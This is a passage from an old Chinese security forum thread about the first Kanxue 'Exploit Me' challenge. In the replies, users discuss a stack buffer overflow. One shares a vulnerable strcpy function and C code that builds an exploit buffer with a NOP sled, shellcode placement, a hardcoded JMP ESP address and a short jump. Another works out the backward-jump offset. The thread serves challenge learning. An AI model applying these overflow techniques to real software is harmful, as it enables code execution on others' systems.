首页
社区
课程
招聘
[原创]看雪的Exploit Me挑战赛第一题黑盒测试过程
2008-8-14 17:12 22500

[原创]看雪的Exploit Me挑战赛第一题黑盒测试过程

2008-8-14 17:12
22500
收藏
点赞0
打赏
分享
最新回复 (2)
雪    币: 71
活跃值: (10)
能力值: ( LV2,RANK:10 )
在线值:
发帖
回帖
粉丝
noid 2008-8-15 04:57
2
0
您好,看了您的方法,我也尝试了一下,我遇到一个很奇怪的问题
向前跳,能够跳到一片nop中,但往往总是出问题.
比如

void overflow(char * s,int size)
{
    char s1[320];
    printf("receive %d bytes \n",size);
    s[size]=0;
    strcpy(s1,s);               
}

---------------------------------------
[...buffer....][JMP ESP][shellcode] 这样的好构造.

[...buffer..shellcode...buffer][EBP][JMP ESP][JumpBack]
这个有些问题:
1 计算往前跳多少?
2 jmp -0x??h  ;是否吧0x??转换成2进制,取反后再加1?
3 能否做一份覆盖seh for xp?

上传一份我学习试验用的程序
buf[320]个字节,足够放shellcode了,请帮忙尝试一下shellcode往前跳

        RtlZeroMemory(sploit,sizeof(sploit) -1);

        memset(sploit,0x90,sizeof(sploit)-1);
       
        memcpy(sploit+100,shellcode,sizeof(shellcode)-1);
       
        memcpy(sploit+320+4,"\x12\x45\xfa\x7f",4);
       
        memcpy(sploit+320+4+4,"\xeb\x18\xeb\x18",4);//尝试过20,d4,..都跳不过去

        printf("%s\n",sploit);

     郁闷啊
上传的附件:
雪    币: 224
活跃值: (26)
能力值: ( LV3,RANK:20 )
在线值:
发帖
回帖
粉丝
彭涛 2008-8-15 11:08
3
0
1.计算往前跳多少?
320+20+4+4= 348 ,转成16进制为0x15C,然后直接用计算器取反加1=0xFEA4
游客
登录 | 注册 方可回帖
返回